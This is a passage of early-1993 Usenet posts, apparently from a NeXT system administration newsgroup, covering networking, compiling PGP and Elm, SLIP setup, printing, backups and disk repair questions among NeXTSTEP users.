Subject: netMgr, netwatch, networking pc with NeXT
Message-ID: <1993Feb25.105913.15743@CSD-NewsHost.Stanford.EDU>
Summary: need some setup info, or a netwatch program for a NeXT
Keywords: NetManager, netwatch, networking, pc
Sender: hitt@cs.stanford.edu
Organization: Computer Science Department, Stanford University.
Date: Thu, 25 Feb 1993 10:59:13 GMT
I have a simple set up consisting of a PC, a NeXT, and an ethernet cable
between them.
I'm trying to use NCSA telnet from the PC to the NeXT.
On the NeXT end, i have exactly two machines in the netinfo database,
namely, the NeXT and the pc, and i have ip addresses for them
(192.42.172.[1,2]) and ethernet addresses.
But NCSA telnet says it can't make the connection.
I think that the physical part is ok, because i've downloaded a program
called netwatch, which runs on the PC and reports each packet that it
senses. When i reboot the NeXT, for example, netwatch picks it up
and reports that the NeXT has sent out an ARP (address resolution protocol,
i suppose) message and an IP message. And if i do a ``fake'' ftp, i.e.,
type ftp *.*.*.* on the NeXT, netwatch catches the packets there also
(as the NeXT puts out a query for the ethernet address matching the
fake IP address *.*.*.*).
So . . . i'd like to either have a better idea on how to configure the
NeXT, or some kind of netwatch program to run on the NeXT, so that i
can see what the PC is trying to do when i run telnet.
It may be that such a netwatch for the NeXT would have to be run as root,
and in that case, i'd need source code (for obvious security reasons).
The NeXT is running 2.0.
I'd be grateful for any response, and i'll post a summary if there
seems to be any interest (i.e., if i get any request for info).
Thanks.
dan
From: rob@polestar.facl.mcgill.ca (Robert Macfarlane)
Newsgroups: comp.sys.next.sysadmin,comp.infosystems.gopher
Subject: Gopher server on NeXT 3.0?
Message-ID: <1993Feb25.143353.6152@sifon.cc.mcgill.ca>
Date: 25 Feb 93 14:33:53 GMT
Sender: news@sifon.cc.mcgill.ca
Followup-To: comp.sys.next.sysadmin
Organization: McGill University
Is anybody running a gopher server on a 3.0 system? The indexing doesn't
seem to want to work for me.
Any help would be greatly appreciated.
Regards,
Rob Macfarlane
Faculty of Arts Computer Lab
McGill University
From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Installing PGP 2.0
Keywords: PGP, encryption, installation-problems
Message-ID: <1mir1p$949@venus.haverford.edu>
Date: 25 Feb 93 16:10:33 GMT
References: <C2zsCw.KzL@news.cis.umn.edu>
Organization: Haverford College Computer Science Department
In article <C2zsCw.KzL@news.cis.umn.edu> arnim@umn.edu (Arnim Walter Sauerbier) writes:
>Has anyone built PGP on a NeXT? It's expecting a whole heapin' helpin
>of library functions I ain't never heard of.
>
>
> Arnim Sauerbier
Yes, basically, aside from any localization changes, you need make only
two:
(1) in the makefile, on the line for next:, change -DMACH to
-DBSD
(2) during the compile of system.c it will compline that one
of the char variables doesn't match the header, go into that
file find the line and change it to const char.
-Erik
Newsgroups: comp.sys.next.sysadmin
From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: growing VM -- how to diminish
Message-ID: <1993Feb25.164744.9734@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Thu, 25 Feb 1993 16:47:44 GMT
Is there a way to shrink the size of the swapfile in vm (without
rebooting) after an application has grown it out of control?
out nly CAD system available for the NeXT?
John Price-Wilkin
jpw@sansfoy.lib.virginia.edu
Newsgroups: comp.sys.next.sysadmin
Subject: 8mm Tape Drives?
Message-ID: <93056.093326SLVQC@CUNYVM.BITNET>
From: Salvatore Saieva <SLVQC@CUNYVM.BITNET>
Date: Thursday, 25 Feb 1993 09:33:26 EST
Organization: City University of New York/ University Computer Center
I'm looking for recommendations for 8mm drives for a NeXT cluster. Also of
interest would be backing up a VAX/Ultrix system over the net (although
this is not required). In particular, does anyone have anything to say
about the drives from Contemporary Cybernetics, good or bad?
Sal.
-------
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Queens College, Academic Computer Center BITNET: saieva@qcvaxa.bitnet
65-30 Kissena Blvd, Flushing, N.Y. 11367 DeskNet: (718) 997-5907
awk, sed, grep, lex, yacc, make, >, <, |,... ``I got the Power!''
From: jimc@tau-ceti.isc-br.com (Jim Cathey)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Help: Mounting floppy images.
Keywords: filesystem, image, mount
Message-ID: <3145@tau-ceti.isc-br.com>
Date: 25 Feb 93 18:05:30 GMT
Organization: Olivetti North America, Spokane, WA
I have an 030 cube with no floppy drive. This makes it difficult
these days to buy software (as you might imagine, although I do have a
CD-ROM drive and a QIC tape drive). I have tried to circumvent this
problem by grabbing an image of a 2.88 MB floppy via a PC at work that
has such a drive. I dd'd this image file over a spare 40 MB SCSI hard
disk, trying both /dev/rsd2a and /dev/rsd2h, but to no avail. This
'mutant' filesystem refuses to mount nor does it fsck correctly, but I
don't see exactly why it won't. After all, ultimately a filesystem is
just a sequence of disk blocks. There must be something with the
partition headers that prevents this from working. A disk scan finds
spare superblocks, and when I fsck with one of those it is able to get
the right volume name of the floppy, but things go to hell soon after
that. Oddly enough, I saved the filesystem that was originally on
/dev/rsd2a (/NextLibrary/Literature) to QIC tape, and I was able to
restore it after the experiment with no ill effects (though I think I
should have used rsd2h instead, but I didn't know about this when I
started). Obviously, something is going on here that I don't
understand.
If the NeXT OS were like our system 5.2-oid here at work I could mount
a filesystem image file as a volume, but unfortunately our system only
understands SysV & PC volume formats. The 5.4 systems here seem to be
like the NeXT --- devices or NFS volumes only.
Would this trick work to an OD? (I don't have a spare one, but I could
probably move one of mine to tape temporarily.) Is there _any_ way I can
extract what I need from this image file?
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Newsgroups: comp.sys.next.sysadmin
From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis)
Subject: Workspace Fonts...Thanks
Message-ID: <1993Feb25.182636.6772@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Thu, 25 Feb 93 18:26:36 GMT
Thanks to all that responded to my font question. I should have stated
that I am running NeXTStep 2.2. It seems that in 2.2 there is no easy way
of changing the title bar font.(?) One person recommended rebooting and
this 'fixed' it.
Thanks again,
Scott
Newsgroups: comp.sys.next.sysadmin
From: o10035@nextphx.corp.mot.com (Jerry DeLuyck)
Subject: pcnfsd for the NeXT
Organization: MOTOROLA
Date: Thu, 25 Feb 1993 16:42:13 GMT
Message-ID: <1993Feb25.164213.15398@schbbs.mot.com>
Sender: news@schbbs.mot.com (Net News)
Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT? NS
3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out a lot
of features.
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: reasb: what gives?
Message-ID: <18686@umd5.umd.edu>
Date: 25 Feb 93 18:54:01 GMT
Sender: news@umd5.umd.edu
Organization: University of Maryland, College Park, MD
Can someone tell me why reasb insists on recovering data before it does any
block reassignment?
Our wonderful Seagate drive (bleagh, GOD I hate Seagates) decided to generate
a few bad sectors, blowing away a couple of partitions. No problem, I have
the handy dandy reasb. 18 sectors in all are bad (unless I find more as it's
read'ing as I type). I try to reasb the ones I find. Can't recover data,
reasb failed. Even with the -r option, which seems to make it try 21 more
times.
Why oh why doesn't reasb know that if you can't read the block, you want to
reassign it? I mean, if you can recover the data, what's the point in
reassigning it? (yeah, I know, soft errors, but this is a friggin' HARD ERROR
we're talking about).
Does reasb only send SCSI commands to the disk controller and that does the
rest? Is Seagate's commandset the thing that's screwing me over now?
Inquiring minds want to know.
And yes, I do have a recent backup. This just causes me to lose a good half
day minimum of work fixing this.
I figure I have to repartition around the bad sectors now. A reformat
probably won't make these errors go away. Hell, I was thinking about re-
partitioning anyway.
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
Remember that whatever misfortune may be your lot, it could only be
worse in Cleveland.
Newsgroups: comp.sys.next.sysadmin
From: dwendeln@cs.umr.edu (Dan Wendeln)
Subject: Help with SLIP
Date: Thu, 25 Feb 1993 20:50:05 GMT
Organization: University of Missouri-Rolla, Missouri's Technological University
Keywords: SLIP
Sender: cnews@umr.edu (UMR Usenet News Post)
Message-ID: <1993Feb25.205005.13882@umr.edu>
Hello Everyone,
This is my problem: The university here has a new dialup which is
slip capable. The bummer, however, is that it dynamicaly gives you an
address when you iniciate "SLIP" on the server. So what I would like to
do is use the current SLIP package available on the net, but bypass the
dial on demand feature and basicaly just dialup the server by hand get the
address of the day and iniciate the proper SLIP command to get it running.
I've read the docs that came with the package but I am not a UNIX
guru (slowly getting there :-)). Any help would be appreciated.
Email to dwendeln@cs.umr.edu NeXT mail accepted.
Dan Wendeln
dwendeln@cs.umr.edu
t103838@UMRVMB.umr.edu
s103838@UMRVMA.umr.edu
From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Deleting sync account
Date: 25 Feb 1993 11:09:35 -0600
Organization: Cube Technologies, Inc
Message-ID: <1miugf$2rq@imladris.cubetech.com>
References: <1993Feb25.024650.19372@midway.uchicago.edu>
In article <1993Feb25.024650.19372@midway.uchicago.edu> tisue@athens.uchicago.edu (Seth Tisue) writes:
>Our machines came with the following system account:
>
>athens 8:44pm ~> nidump passwd . | grep sync
>sync::-2:-2::/:/bin/sync
>
>I'd rather not have a password-less account. Is it safe to change the
>password to *? How about to remove the account entirely?
Changing it to an asterisk is OK. It's really there so users can sync
the disks though, but I don't think it's vital.
andrew
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin
From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: man page for xferlog(5)?
Message-ID: <1993Feb25.204235.16322@murdoch.acc.Virginia.EDU>
Followup-To: poster
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Thu, 25 Feb 1993 20:42:35 GMT
I'm looking for the format of the xferlog file. Most of it is
obvious, but there are a couple of things I can't figure out. The
ftpd man page refers me to xferlog(5), but NeXT doesn't seemed to have
sent that one out. Neither, as far as I can tell, did Sun (Sunos 4.x)
or IBM (AIX 3.1 and 3.2). I've run out of machine I can check - does
anyone have this man page?
Thanks,
Dave
--
David M. Meyer Mechanical & Aerospace Engineering
dmm0t@rincewind.mech.virginia.edu University of Virginia
NeXTmail ok
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: rarp under NS Version 1.0, or 2.0
Date: 25 Feb 1993 22:32:55 GMT
Organization: CERFnet
Message-ID: <1mjhenINN8ui@news.cerf.net>
Keywords: rarp, nrarp
Hello,
I am still looking for rarp for the NeXT. This seems to be
a serious problem and the omission of rarp looks like a bug.
I have reported it to the NeXT Techs, and they say rarp was
out there as perhaps nrarp in an early version of NeXTSTEP.
So, is there anyone out there still at 1.0, or 2.0. Could
you look for rarp, or nrarpd for me. Please let me know if you
find it, and if possible, send me a copy...
Still desperate,
Chris Fasano
fasano@scarolina.cerfnet.com
NeXT MAIL is just fine.
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: PCNFSD for NeXT?
Date: 26 Feb 1993 01:11:22 GMT
Organization: University of Michigan ITD Consulting and Support Services
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Message-ID: <1mjqnqINNrao@stimpy.css.itd.umich.edu>
Hi, has anyone got a working pcnfsd for NeXT? My server is running
2.2 still, if it matters (which it might).
I've got source which doesn't compile cleanly, and thought i'd rather
not re-invent the wheel on this one.
thanks, danno
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From: ngervae@next.com (Nik Gervae)
Newsgroups: comp.sys.next.bugs,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0)
Message-ID: <6890@rosie.NeXT.COM>
Date: 26 Feb 93 01:15:43 GMT
References: <C2ttyB.6Bt@mentor.cc.purdue.edu>
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Followup-To: comp.sys.next.bugs
Just adding my "me too" to the list of satisfied users of zsh.
If I had my way (which I don't :-), I'd have zsh shipped as
the default shell for users.
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From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo locks up BAD
Date: 25 Feb 1993 14:54:48 -0600
Organization: Cube Technologies, Inc.
Message-ID: <1mjbmo$3f3@valinor.cubetech.com>
We just switched over to a net connection, and on the router/gateway machine
(which is also a netinfo clone), whenever sendmail does a hostname lookup, netinfo will completely hang on that machine. *any* netinfo lookup will hang for several minutes. This means logins, ls -l, sendmail, ps, DNS, anything, will hang.
How can I fix this? This gets really bad when someone sends mail to the
indexing kit mailing list and listserv tries to send 120 pieces of mail - the machine is useless for hours!
thanks,
andrew
y* netinfo lookup will hang for several minutes. This means logins, ls -l, sendmail, ps, DNS, anything, will hang.
How can I fix this? This gets really bad when someone sends mail to the
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From: sircomp@bcarh289.bnr.ca (Brian Magee)
Subject: Lost HD space
Message-ID: <1993Feb26.011518.11459@bmerh85.bnr.ca>
Sender: news@bmerh85.bnr.ca (Usenet News)
Organization: Bell-Northern Research Ltd.
Date: Fri, 26 Feb 93 01:15:18 GMT
Hi all:
Just the other night, my HD mysteriously lost about 20Meg. I assume
that it happened after the 2am FSCK, but I'm open to suggestions on what
else it might have been. I tried re-booting, no good. I thought perhaps that
a swap-file had been set up (I have the internal 105 as a swap disk), but
no swapfile. Any ideas? I really hate to lost 20Meg! I mean, I could store
a nice sound file in that area :-)
AtDhVaAnNkCsE
Rob
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From: cfwu@sun13.ee.nctu.edu.tw (Wu Chi-Fon)
Subject: How to do moving image acquisition
Message-ID: <1993Feb26.031904.8545@cc.ntnu.edu.tw>
Sender: news@cc.ntnu.edu.tw
Organization: NTNU, Taiwan, R.O.C.
Date: Fri, 26 Feb 1993 03:19:04 GMT
Help!!
I want to do moving image acquisition from the VTR/VCR and I have the
application "ColorMovieWork.app". But every time I want to record the
moving image, the program tell me "cannot set CDY for capture".
If anyone knows how to get moving image, please send a email to me.
Thanks very much.
Chi-feng Wu cfwu@ice.ntnu.edu.tw
Department of Information and Computer Education
National Taiwan Normal University
From: Christian.Andretzky@mb3.tu-chemnitz.de (Christian Andretzky)
Newsgroups: gnu.utils.bug,comp.sys.next.sysadmin
Subject: Problems running gnu tar 1.11.1 in a mixed environment
Message-ID: <1993Feb26.003427.15575@mb3.tu-chemnitz.de>
Date: 26 Feb 93 00:34:27 GMT
Article-I.D.: mb3.1993Feb26.003427.15575
Followup-To: gnu.utils.bug,comp.sys.next.sysadmin
Distribution: world
Organization: University of Technology Chemnitz, FRG
Apparently-To: bug-gnu-utils@prep.ai.mit.edu
I try to use tar 1.11.1 to backup a mixed network (sun and next). The DAT-tape
is connected to a NeXT. Backing up the local machine and any other next in the
network works ok. But if I try to backup a sun using the tape on the next tar
will hang after it is started on the sun.
Any suggestions?
TIA, Christian
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Newsgroups: comp.mail.elm,comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: New Notes on Compiling Elm2.4PL21 under NeXTstep
Message-ID: <1993Feb26.055116.4384@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
Date: Fri, 26 Feb 93 05:51:16 GMT
With the help of others, I've updated my notes on compiling
Elm2.4PL21 (not earlier versions) under NeXTstep 3.0 and
2.x. A complete copy of the file follows. I think it
obsoletes *all* of section 2.17 of the current Elm FAQ (I've
mailed to to S. Serini in Italy, who maintains the FAQ).
The file also now resides in my anonymous ftp directory
pub/elm on yak.macc.wisc.edu [144.92.30.18], as file
how2next.
Please let me know if you find errors or significant
variations.
Compiling Elm 2.4PL21 on NeXT Computers
=======================================
Jess Anderson (anderson@macc.wisc.edu)
Feb 25, 1993
=======================================
Elm can be configured many different ways. This file tells
you about just some of the ways. If you do it a different
way and run into problems on a NeXT machine, please tell me
about how you solved them so I can update these
instructions.
Change two source files
-----------------------
Changes introduced at PL 21 depend on a header file called
unistd.h, which does not exist on NeXT. This requires a
manual intervention in two files, <elm>/hdrs/defs.h and
<elm>/hdrs/filter.h, to comment out the references. Save
the originals, since you may need to back out when another
patch comes along. I anticipate that patch 22 will fix this
particular problem.
These diffs explain the changes:
$ diff hdrs/defs.h hdrs/defs.h.orig
498,499c498
< #ifndef NeXT
< # ifndef ANSI_C /* ANSI puts these in string.h */
---
> #ifndef ANSI_C /* ANSI puts these in string.h */
505,508c504,506
< # else
< # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */
< # endif
< #endif /* NeXT */
---
> #else
> # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */
> #endif
$ diff hdrs/filter.h hdrs/filter.h.orig
217,219c217
< # ifndef NeXT
< # include <unistd.h> /* NeXT doesn't have this header file */
< # endif /* !NeXT */
---
> #include <unistd.h>
Running Configure
-----------------
When I run Configure (I'm on NS3.0), I take the default
responses for all questions except those noted here.
Give the name of the program used to process manual pages on your
system: [/usr/bin/troff] /usr/bin/ptroff
What options should Elm use with /usr/bin/ptroff: [] -t
What optimizer/debugger flag should be used? [-O] -O -pipe
Note: -pipe speeds up the compilation, but it's not
required, so you could take this default. Also, one
person told me they used -O2 with gcc as their compiler.
Any additional cc flags? [none] -bsd
Note: This used to be -bsd -fwritable-strings. That no
longer seems necessary. In fact, Elm will compile and
run if you take the default here. Using -bsd, however,
greatly reduces the number of compiler warnings you get.
One person told me he could *not* use -bsd; he's running
NS 2.2 (actually, I think he had a different problem, but
I never got that ironed out.
Any additional ld flags (NOT including libraries)? [none]
Note: Using -object here (would give you smaller
binaries) will cause a hang right near the end, while
linking filter.
What is the full path name of the include file
directory? [] /usr/include/bsd
You need this with NS3.0.
Am I going to be running as a setgid program? [y] n
Note: it will work if you say yes, but it's better
security, they tell me, not to.
In addition to these answers, I also set my domain and
turned MIME on. You may want to take other nondefault
options, but I can't vouch for what will happen.
Configure options for NeXTstep NS1.0, NS2.x
-------------------------------------------
Note: these have been provided by others; I'm just passing
them on here.
libs='-lsys_s'
includepath='/usr/include'
ccflags='-bsd' [but apparently not for 2.2?]
ldflags='-object' [optional, for smaller binaries]
Note: there no longer is a tag named d_voidsig= in
config.sh. Configure also finds the compiler library,
/lib/libsys_s.a, so the question about that has gone away.
At the shell escape prompt or just before
-----------------------------------------
Beginning with Elm 2.4, there is a mechanism for changing
config.sh at the end of the Configure process. If a file
named config.over exists, Configure asks if you want to
apply it. If you say yes, it does, then pauses at the
famous shell escape prompt.
I have this in my config.over:
d_memcpy='undef'
sigtype='int'
d_tzname='undef'
passcat='nidump passwd /'
nametype='bsd'
d_bsd='define'
Note: You must have the first three of these. There is
some disagreement about the other three. The passcat
line doesn't actually get used, it seems. One person has
nametype='other' and d_password='define', says it works
for him.
When Configure gives you the option to use a shell escape to
edit config.sh before proceeding, do so unless you used the
config.over file and make the changes listed above.
Reconfigure script
------------------
I've tried so many different things by editing config.sh
manually at the shell escape prompt that I finally wrote a
simple script to run it over all the SH files before
compiling. To use it, put it in your top elm directory, do a
chmod +x to make it executabl, then run it; basically, it's
the tail end of Configure following the shell escape.
Compilation
-----------
Then run a make. Some warnings appear during compilation
(takes about 10 minutes); they don't seem to make a
difference. You have to be root to run make install at the
end of the compilation.
Credits
-------
Several people contributed to this effort. They include Syd
Weinstein (syd@dsinc.dsi.com), Jeff Nicholson-Owens
(jeffo@uiuc.edu), Eric P. Scott (eps@toaster.sfsu.edu), and
Guy Thomas (gthomas@native-ed.bc.ca). Many thanks to all.
But I'll take the blame if there are errors here.
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From: yono@ccwf.cc.utexas.edu (Suryono Adisoemarta)
Newsgroups: comp.sys.next.sysadmin
Subject: Remote Printer Problem after Upgrade
Date: 26 Feb 1993 05:56:52 GMT
Organization: The University of Texas at Austin, Austin TX
Distribution: usa
Message-ID: <1mkbf4INNbe6@geraldo.cc.utexas.edu>
Originator: yono@donald.cc.utexas.edu
Hi, we just upgrade two of our NeXTs to 3.0, but now only one
NeXT can print to the laser printer (which is it's local printer),
the other NeXT cannot print to that same laser printeri (it's remote printer).
The system was working fine before we did the upgrading.
What should I do now ?
Any new properties for printcap in NS 3.0 ?
Thanks for your responses
Yono Adisoemarta
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U of Texas, Austin yono@pcdown.pe.utexas.edu
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From: Meinhard.E..Mayer. (hardy@f236.n104.z1.FIDONET.ORG (Meinhard E. Mayer (hardy)))
Newsgroups: comp.sys.next.sysadmin
Subject: HOW DOES ONE BACK UP TO MULTIPLE
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Date: 23 Feb 93 21:43:00 GMT
Sender: ufgate@paranet.FIDONET.ORG (newsout1.26)
Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO
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From: gerben@rna.indiv.nluug.nl
Subject: .forward (THANKS)
Message-ID: <1993Feb26.080148.1328@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Fri, 26 Feb 1993 08:01:48 GMT
Thanks for the zillion answers to to .forward. The file was owned by root. And
sendmail considers any other owner than the directory owner a Trojan horse.
--
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"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
From: eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz)
Newsgroups: comp.sys.next.sysadmin
Subject: flush output error?
Message-ID: <8949@dove.nist.gov>
Date: 24 Feb 93 17:01:13 GMT
Sender: quyen@dove.nist.gov
This message appears on the console and the message files when I quit
applications:
WindowServer[161]: IPCFlushOutput: failed to flush output for stream
0x811b50.
What does it mean? what can/should I do about it?
Thanks in advance,
Eric
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Help with SLIP
In-Reply-To: dwendeln@cs.umr.edu's message of Thu, 25 Feb 1993 20:50:05 GMT
To: dwendeln@cs.umr.edu (Dan Wendeln)
Message-ID: <CEDMAN.93Feb25214203@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Feb25.205005.13882@umr.edu>
Date: Fri, 26 Feb 1993 01:42:03 GMT
In article <1993Feb25.205005.13882@umr.edu> dwendeln@cs.umr.edu (Dan Wendeln) writes:
This is my problem: The university here has a new dialup which is
slip capable. The bummer, however, is that it dynamicaly gives you an
address when you iniciate "SLIP" on the server. So what I would like to
do is use the current SLIP package available on the net, but bypass the
dial on demand feature and basicaly just dialup the server by hand get the
address of the day and iniciate the proper SLIP command to get it running.
I've read the docs that came with the package but I am not a UNIX
guru (slowly getting there :-)). Any help would be appreciated.
Email to dwendeln@cs.umr.edu NeXT mail accepted.
You can do better. If your terminal server is among the more common
types you can write scripts for Louis Mamakos dialupip (which I take
it you are using ? -- there are also other SLIP packages for the NeXT)
which gets the IP address from the remote server on connect and then
configures your system to have that address. If you do this make
certain that starting dialupip doesn't happen in rc.local (as the
documentation suggestion), but much earlier eg. right after the syslog
daemon is started in rc. This is necessary as some daemons (like eg.
sendmail) get the local hostname once on startup and hence dialupip
must have connected and re-configured the hostname before they start.
This is the best you can do with local configuration and works
reasonably well once you have the configuration done correctly -- but
getting there is not for the faint of heart.
If you want a better solution, convince your SLIP administrator to do
what the SLIP administrator here at Princeton does ie. configure the
server so that you can chose your own hostname (with password
protection) when you start slip. This is the proper solution in the
long run, but getting some admins to do things right can take a long
time.
Carl Edman
From: mcneill@devon.co.uk (Keith McNeill)
Newsgroups: comp.sys.next.sysadmin
Subject: Where to find a recent version of Websterd
Message-ID: <1993Feb26.101423.2692@devon.co.uk>
Date: 26 Feb 93 10:14:23 GMT
Organization: Devon Systems International
The only version of websterd I can find is dated 1989 and doesn't seem to
work. From looking around a little bit it seems that Next has changed the
Dictionary format since then...way back in the 80's. I need websterd so
that we can use Xwebster from our other than NeXT workstations.
Thanks,
Keith
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From: masud@invnext.worldbank.org (masud cader)
Subject: LISTSERVER for NeXTs???
Message-ID: <1993Feb26.134024.12386@worldbank.org>
Keywords: LISTSERVE, MAILSERVE, MAIL
Sender: news@worldbank.org
Organization: The World Bank, Washington, DC, USA
Date: Fri, 26 Feb 1993 13:40:24 GMT
I would like to implement a mail listserver on my NeXT. Is there any code
which I can recompile and which is nown to work. Basically I wish to provide
subscribe/unsubscribe, help, get and put from within mail messages.
If anyone has one such system up, I would appreciate knowing all that you had
to do, and I would also like to know the names of any programs which implement
a listserver. I am a relative novice at attempting to setup a listserver, only
haveing experience using them ;-)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Masud Cader
Trading Analytics
The World Bank
masud@invnext.worldbank.org
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From: tpg@rchland.vnet.ibm.com (Terry Gliedt)
Subject: lpr - No such file or directory
Sender: news@rchland.ibm.com
Message-ID: <1993Feb26.134619.22483@rchland.ibm.com>
Date: Fri, 26 Feb 1993 13:46:19 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
Organization: IBM Rochester
After finally converting from NS2.1 to 3.0 I have been trying to get my DeskJet
printer to work. I installed the latest djf for 3.0 package and all appeared to
be just fine. However when I try printing, I get the following (or something
close, this is from memory) from lpr:
lpr: connect: no such file or directory
cannot restart printer daemon
After checking the BSD sources for lpr and lpd, it appears that lpd establishes a
named socket (/dev/printer, which I can see in /dev BTW). Using strings on a BSD
system here at work, I can see "/dev/printer" in the binaries. Doing the same on
my NeXTstation, I see "/dev/printer" in lpd, but not in lpr.
Further investigation shows the following msg in /usr/adm/messages:
lpd: Name lpr Msg connect "/dev/lpd/printer" No such file or directory
Excuse me? "/dev/*LPD*/printer" !?? Sure enough, this string can be found in
both binaries. Whats going on here ? The data from lpr gets properly queued, its
just that lpd never gets notified about it and so never prints the data. I've
even gone back the CDROM to check I had the proper binaries that /etc/services
was the same.
I'd appreciate some advice. Thanks !
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From: matt%mattcube@concert.net(Matthew M. Stecker)
Subject: CD Audio Autoplay. Second Try
Message-ID: <1993Feb26.154135.9973@mattcube>
Sender: matt@mattcube
Organization: UNC School of Law, CC for NeXT Computer, Inc.
Date: Fri, 26 Feb 1993 15:41:35 GMT
I have a '040 cube/3.0/NeXTCDRom player. I can play CDAudio discs by starting
manually the CDPlayer app, then inserting a disc. If I place a CDAudio disc in
the player without starting that app, the workspace simply rejects it.
I know that there is some way (something about proper SCSI addresses maybe?) to
set the system up so that manual launching of CDPlayer.app is not necessary.
I asked this question last week, and am asking it again because the responses I
got broke down as follows:
12! responses : "Please, I'm trying to figure this out also.
Let me know!
1 response: Try setting "public window server in
preferences" (didn't work).
If anyone can help, let me know. (and I'll forward the answer to the 12 people
who asked me to).
Thanks again,
Matthew
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From: dicosmo@dmi.ens.fr (Roberto DiCosmo)
Subject: Webster demon for 3.0
Message-ID: <1993Feb26.175434.13037@ens.fr>
Sender: news@ens.fr (USENET News System)
Organization: Ecole Normale Superieure, PARIS, France
Date: Fri, 26 Feb 93 17:54:34 GMT
I just upgraded our NeXT machines to 3.0, and
almost everything works fine, BUT
surprise ... the websterd daemon that allows remote users
to query the Webster dictionary stopped working!!!!
Any known fixes?
Thanx!
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75005 Paris FRANCE
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From: o10035@nextphx.corp.mot.com (Jerry DeLuyck)
Subject: AplleTalk Problems
Organization: MOTOROLA
Date: Fri, 26 Feb 1993 17:36:50 GMT
Message-ID: <1993Feb26.173650.2557@schbbs.mot.com>
Sender: news@schbbs.mot.com (Net News)
I haven't seen anyone mention this, so I guess I will. I have not been able to
get the AppleTalk/EtherTalk portion of NS 3.0 to work correctly since I
installed it! Printing to an AppleTalk printer starts then hangs the
atalkd.... Also, certain printers seem to work OK, but others don't. Worse
yet, when print is sent to a printer that doesn't work, all of the AppleTalk
printers stop working! That's quite a feature. NeXT is aware of the problem,
but they have said the fix will not be out until NS 3.1 ships (in May?). Am I
the only person who wants this to work or is anyone else as disappointed in
support from NeXT for NS 3.0 as I am?
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Re: HOW DOES ONE BACK UP TO MULTIPLE
Message-ID: <HARDY.93Feb26113920@golem.ps.uci.edu>
In-reply-to: Meinhard.E..Mayer.'s message of 23 Feb 93 21:43:00 GMT
Newsgroups: comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
References: <371.2B8D4C66@paranet.FIDONET.ORG>
Date: 26 Feb 93 19:37:26 GMT
In article <371.2B8D4C66@paranet.FIDONET.ORG> Meinhard.E..Mayer. (hardy@f236.n104.z1.FIDONET.ORG (Meinhard E. Mayer (hardy))) writes:
Meinhard E. Mayer (hardy - via ParaNet node 1:104/422
UUCP: !scicom!paranet!User_Name
INTERNET: Meinhard.E..Mayer.(hardy@f236.n104.z1.FIDONET.ORG
I would like to make it clear that I never posted this and don't even
know what FIDONET.ORG is.
Would the person responsible for this post please correct their
software!
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e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET
!!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin
From: geoff@ficus.cs.ucla.edu (Geoffrey Kuenning)
Subject: Upgrading 1.0->3.0
Message-ID: <1993Feb26.230451.1813@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
Date: Fri, 26 Feb 93 23:04:51 GMT
A friend has a 1.0 system and wants to upgrade to 3.0. I gave him an
OD with the contents of the Upgradeprep floppy, but Upgradeprep won't
run because it needs a shared library. So we tried copying sdmach
into the root (as sdmach1, since I'm paranoid) and booting it, but the
boot program from 1.0 refuses to recognize the format of the sdmach
file.
What's the procedure for going directly from 1.0 to 3.0? Does my
friend have to go via 2.0? (That's a viable option, since I could
mail him my 2.0 OD, but I was hoping for something a bit cleaner.)
--
Geoff Kuenning geoff@maui.cs.ucla.edu geoff@ITcorp.com
Newsgroups: comp.sys.next.sysadmin
From: bogdan@eecs.nwu.edu (Bogdan Vacaliuc)
Subject: LaserJet Printing Troubles
Message-ID: <1993Feb26.220933.6218@eecs.nwu.edu>
Keywords: laserjet print serial help
Sender: usenet@eecs.nwu.edu (Mr. Usenet)
Organization: EECS Department, Northwestern University
